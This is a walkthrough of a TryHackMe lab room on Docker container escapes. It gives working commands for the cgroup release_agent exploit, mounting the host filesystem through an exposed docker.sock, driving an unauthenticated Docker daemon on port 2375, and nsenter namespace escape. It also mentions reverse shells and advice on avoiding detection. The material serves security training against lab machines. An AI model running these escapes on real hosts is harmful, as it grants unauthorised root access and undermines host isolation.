Container Vulnerabilities
Last updated
Last updated
Room Link: https://tryhackme.com/r/room/containervulnerabilitiesDG
Understanding Capabilities
At its fundamental, Linux capabilities are root permissions given to processes or executables within the Linux kernel. These privileges allow for the granular assignment of privileges - rather than just assigning them all.
These capabilities determine what permissions a Docker container has to the operating system. Docker containers can run in two modes:
User (Normal) mode
Privileged mode
In the diagram below, we can see the two different modes in action and the level of access each mode has to the host:
Note how containers #1 and #2 are running in "user/normal" mode, whereas container #3 is running in "privileged" mode. Containers in "user" mode interact with the operating system through the Docker Engine. Privileged containers, however, do not do this. Instead, they bypass the Docker Engine and directly communicate with the operating system.
What Does This Mean for Us
Well, if a container is running with privileged access to the operating system, we can effectively execute commands as root on the host.
We can use a utility such as capsh
which comes with the libcap2-bin package to list the capabilities our container has: capsh --print
. Capabilities are used in Linux to assign specific permissions to a process. Listing the capabilities of the container is a good way to determine the syscalls that can be made and potential mechanisms for exploitation.
Some capabilities of interest have been provided in the terminal snippet below.
Listing capabilities of a privileged DockerContainer
In the example exploit below, we are going to use the mount syscall (as allowed by the container's capabilities) to mount the host's control groups into the container.
The code snippet below is based upon (but a modified) version of the Proof of Concept (PoC) created by Trailofbits, which details the inner workings of this exploit well.
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x 2. echo 1 > /tmp/cgrp/x/notify_on_release 3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` 4. echo "$host_path/exploit" > /tmp/cgrp/release_agent 5. echo '#!/bin/sh' > /exploit 6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit 7. chmod a+x /exploit 8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ------- Note: We can place whatever we like in the /exploit file (step 5). This could be, for example, a reverse shell to our attack machine.
Explaining the Vulnerability
1. We need to create a group to use the Linux kernel to write and execute our exploit. The kernel uses "cgroups" to manage processes on the operating system. Since we can manage "cgroups" as root on the host, we'll mount this to "/tmp/cgrp" on the container.
2. For our exploit to execute, we'll need to tell the kernel to run our code. By adding "1" to "/tmp/cgrp/x/notify_on_release", we're telling the kernel to execute something once the "cgroup" finishes. (Paul Menage., 2004).
3. We find out where the container's files are stored on the host and store it as a variable.
4. We then echo the location of the container's files into our "/exploit" and then ultimately to the "release_agent" which is what will be executed by the "cgroup" once it is released.
5. Let's turn our exploit into a shell on the host
6. Execute a command to echo the host flag into a file named "flag.txt" in the container once "/exploit" is executed.
7. Make our exploit executable!
8. We create a process and store that into "/tmp/cgrp/x/cgroup.procs". When the processs is released, the contents will be executed.
Unix Sockets 101 (One Size Fits All)
When mentioning "sockets", you would likely think of "sockets" in networking. Well, the concept here is almost the same. Sockets are used to move data between two places. Unix sockets use the filesystem to transfer data rather than networking interfaces. This is known as Inter-process Communication (IPC) and is essential in operating systems because being able to send data between processes is extremely important.
Unix sockets are substantially quicker at transferring data than TCP/IP sockets (Percona., 2020). This is why database technologies such as Redis boast such outstanding performance. Unix sockets also use file system permissions. This is important to remember for the next heading.
How Does Docker Use Sockets
When interacting with the Docker Engine (i.e. running commands such as docker run
), this will be done using a socket (usually, this is done using a Unix socket unless you execute the commands to a remote Docker host). Recall that Unix sockets use filesystem permissions. This is why you must be a member of the Docker group (or root!) to run Docker commands, as you will need the permissions to access the socket owned by Docker.
Verifying that our user is a part of the Docker group
Finding the Docker Socket in a Container
Remember, containers interact with the host operating system using the Docker Engine (and, therefore, have access to the Docker socket!) This socket (named docker.sock) will be mounted in the container. The location of this varies by the operating system the container is running, so you would want to find
it. However, in this example, the container runs Ubuntu 18.04, meaning the docker.sock is located in /var/run.
Note: This location can vary based on the operating system and can even be manually set by the developer at runtime of the container.
Finding the docker.sock file in a container
Exploiting the Docker Socket in a Container
First, let's confirm we can execute docker commands. You will either need to be root on the container or have the "docker" group permissions as a lower-privileged user.
Let's break down the vulnerability here:
We will use Docker to create a new container and mount the host's filesystem into this new container. Then we are going to access the new container and look at the host's filesystem.
Our final command will look like this: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
, which does the following:
1. We will need to upload a docker image. For this room, I have provided this on the VM. It is called "alpine". The "alpine" distribution is not a necessity, but it is extremely lightweight and will blend in a lot better. To avoid detection, it is best to use an image that is already present in the system, otherwise, you will have to upload this yourself.
2. We will use docker run
to start the new container and mount the host's file system (/) to (/mnt) in the new container: docker run -v /:/mnt
3. We will tell the container to run interactively (so that we can execute commands in the new container): -it
4. Now, we will use the already provided alpine image: alpine
5. We will use chroot
to change the root directory of the container to be /mnt (where we are mounting the files from the host operating system): chroot /mnt
6. Now, we will tell the container to run sh
to gain a shell and execute commands in the container: sh
-------
You may need to "Ctrl + C" to cancel the exploit once or twice for this vulnerability to work, but, as you can see below, we have successfully mounted the host operating system's filesystem into the new alpine container.
The Docker Engine - TCP Sockets Edition
Recall how Docker uses sockets to communicate between the host operating system and containers in the previous task. Docker can also use TCP sockets to achieve this.
Docker can be remotely administrated. For example, using management tools such as Portainer or Jenkins to deploy containers to test their code (yay, automation!).
The Vulnerability
The Docker Engine will listen on a port when configured to be run remotely. The Docker Engine is easy to make remotely accessible but difficult to do securely. The vulnerability here is Docker is remotely accessible and allows anyone to execute commands. First, we will need to enumerate.
Enumerating: Finding Out if a Device Has Docker Remotely Accessible
By default, the engine will run on port 2375. We can confirm this by performing an Nmap scan against your target (10.10.61.38) from your AttackBox.
Verifying if our target has Docker remotely accessible
Looks like it's open; we're going to use the curl
command to start interacting with the exposed Docker daemon. Confirming that we can access the Docker daemon: curl http://10.10.61.38:2375/version
CURLing the Docker Socket
Executing Docker Commands on Our Target
For this, we'll need to tell our version of Docker to send the command to our target (not our own machine). We can add the "-H" switch to our target. To test if we can run commands, we'll list the containers on the target: docker -H tcp://10.10.61.38:2375 ps
Listing the containers on our target
What Now
Now that we've confirmed that we can execute docker commands on our target, we can do all sorts of things. For example, start containers, stop containers, delete them, or export the contents of the containers for us to analyse further. It is worth recalling the commands covered in Intro to Docker. However, I've included some commands that you may wish to explore:
Command
Description
network ls
Used to list the networks of containers, we could use this to discover other applications running and pivot to them from our machine!
images
List images used by containers; data can also be exfiltrated by reverse-engineering the image.
exec
Execute a command on a container.
run
Run a container.
What Are NamespacesNamespaces segregate system resources such as processes, files, and memory away from other namespaces. Every process running on Linux will be assigned two things:
A namespace
A Process Identifier (PID)
Namespaces are how containerisation is achieved! Processes can only "see" the process in the same namespace. Take Docker, for example, every new container will run as a new namespace, although the container may run multiple applications (processes).
Let's prove the concept of containerisation by comparing the number of processes on the host operating system, in comparison to the Docker container that the host is running (an apache2 web server): Listing running processes on a "normal" Ubuntu system
In the first column on the very left, we can see the user the process is running as including the process number (PID). Additionally, notice that the column on the very right has the command or application that started the process (such as Firefox and Gnome terminal). It's important to note here that multiple applications and processes are running (specifically 320!).
Generally speaking, a Docker container will have very processes running. This is because a container is designed to do one task. I.e., just run a web server, or a database.
Determining if We're in a Container (Processes)Let's list the processes running in our Docker container using ps aux
. It's important to note that we only have six processes running in this example. The difference in the number of processes is usually a great indicator that we're in a container.
Additionally, the first process in the snippet below has a PID of 1. This is the first process that is running. PID 1 (usually init) is the ancestor (parent) for all future processes that are started. If, for whatever reason, this process is stopped, then all other processes are stopped too.
Listing running processes on a container
Comparatively, we can see that only 5 processes are running. A good indicator that we're in a container! However, as we come to discover shortly, this is not 100% indicative. There are cases where, ironically, you want the container to be able to interact directly with the host.
How Can We Abuse NamespacesRecall cgroups (control groups) in a previous vulnerability. We are going to be using these in another method of exploitation. This attack abuses conditions where the container will share the same namespace as the host operating system (and therefore, the container can communicate with the processes on the host).
You might see this in cases where the container relies on a process running or needs to "plug in" to the host such as the use of debugging tools. In these situations, you can expect to see the host's processes in the container when listing them via ps aux
.
Edge case: Determining if a container can interact with the host's processes
The ExploitFor this vulnerability, we will be using nsenter
(namespace enter). This command allows us to execute or start processes, and place them within the same namespace as another process. In this case, we will be abusing the fact that the container can see the "/sbin/init" process on the host, meaning that we can launch new commands such as a bash shell on the host.
Use the following exploit: nsenter --target 1 --mount --uts --ipc --net /bin/bash
, which does the following:
1. We use the --target
switch with the value of "1" to execute our shell command that we later provide to execute in the namespace of the special system process ID to get the ultimate root!
3. The --uts
switch allows us to share the same UTS namespace as the target process meaning the same hostname is used. This is important as mismatching hostnames can cause connection issues (especially with network services).
4. The --ipc
switch means that we enter the Inter-process Communication namespace of the process which is important. This means that memory can be shared.
5. The --net
switch means that we enter the network namespace meaning that we can interact with network-related features of the system. For example, the network interfaces. We can use this to open up a new connection (such as a stable reverse shell on the host).
7. Here's where our process will be executed into this privileged namespace: sh
or a shell. This will execute in the same namespace (and therefore privileges) of the kernel.
--------
You may need to "Ctrl + C" to cancel the exploit once or twice for this vulnerability to work, but as you can see below, we have escaped the docker container and can look around the host OS (showing the change in hostname)
Using the command line of the container to run commands on the host
Success! We will now be able to look around the host operating system in the namespace as root, meaning we have full access to anything on the host!
2. Specifying --mount
this is where we provide the mount namespace of the process that we are targeting. "If no file is specified, enter the mount namespace of the target process." .
6. As we are targeting the "/sbin/init" process #1 (although it's a symbolic link to "lib/systemd/systemd" for backwards compatibility), we are using the namespace and permissions of the daemon for our new process (the shell)